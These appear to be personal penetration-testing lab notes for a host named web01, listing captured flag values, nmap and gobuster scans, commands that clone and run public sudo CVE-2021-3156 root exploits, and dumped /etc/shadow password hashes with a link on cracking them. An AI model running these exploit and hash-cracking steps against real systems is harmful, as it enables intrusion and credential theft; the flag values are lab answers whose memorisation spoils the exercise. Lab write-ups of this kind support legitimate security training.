192.168.154.245 (web01) /

Local Flag:
    /home/anita/local.txt
    c37c1f11ff40c3ea96529c35503808fc

Root Flag:
    /root/proof.txt
    d72323aa1adf8dd673e82c951c2aca35

sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.154.245 -Pn -o target.fullmap245

Port	Service
21	FTP
80, 443, 8000	http
2222	ssh

Host name: web01

Domain Name: relia.com

gobuster dir -u http://192.168.235.245/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 42 -b 400,401,403,404 -f -o VM245.gobuster80

gobuster dir -u https://192.168.235.245/ -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 42 -b 400,401,403,404 -f -o VM245.gobuster443

gobuster dir -u http://192.168.235.245:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 42 -b 400,401,403,404 -f -o VM245.gobuster8000

• 51193 - Not Applicable

• 50512 - Unstable Host

• 50446

• 50406

/home/anita directory exists

Privilege Escalation

git clone https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit.git
cd Sudo-1.8.31-Root-Exploit
make
./exploit

Alternative Method

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156/
make\
./sudo-hax-me-a-sandwich
cat /etc/issue # Verify kernel verion
./sudo-hax-me-a-sandwich <Select kernel version>

Admin Enum

offsec - $6$p6n32TS.3/wDw7ax$TNwiUYnzlmx7Q0w59MbhSRjqW37W20OpGs/fCRJ3XiffbBVQuZTwtGeIJglRJg0F0vFKNBT39a57gakRJ2zPw/
miranda - $6$01GOUNyvP1lFg0Id$QoFsKEsD4um4ctVU62MU/KEmQbdj0OSw7gJ6EXVA4YTjTNxvfzQxdhdsyjHUaw4qO0YAwEMoXUXWBdCd3zW4V.
steven - $6$Rj4tu27TLjcnwC2v$wsNuqImPdduB9mXZHpjjEROvTKwWsp2SckcMB.AtcvHyS7tHTCGh.CrUCP0ogsFH9IjG3i2qekcAXRlkmeZOT1
mark - $6$blWxRVRno5YcdGiN$6ekTTBXDvGfaFRSPxZVLhR8tAmFd20RLlXNL5Q8U44gp0Heq7MLmFZrlaHeaX.pFhlJ3lif10E1zsO3W2tdbC/
anita - $6$Fq6VqZ4n0zxZ9Jh8$4gcSpNrlib60CDuGIHpPZVT0g/CeVDV0jR3fkOC7zIEaWEsnkcQfKp8YVCaZdGFvaEsHCuYHbALFn49meC.Rj1

https://erev0s.com/blog/cracking-etcshadow-john/

• Does not actually work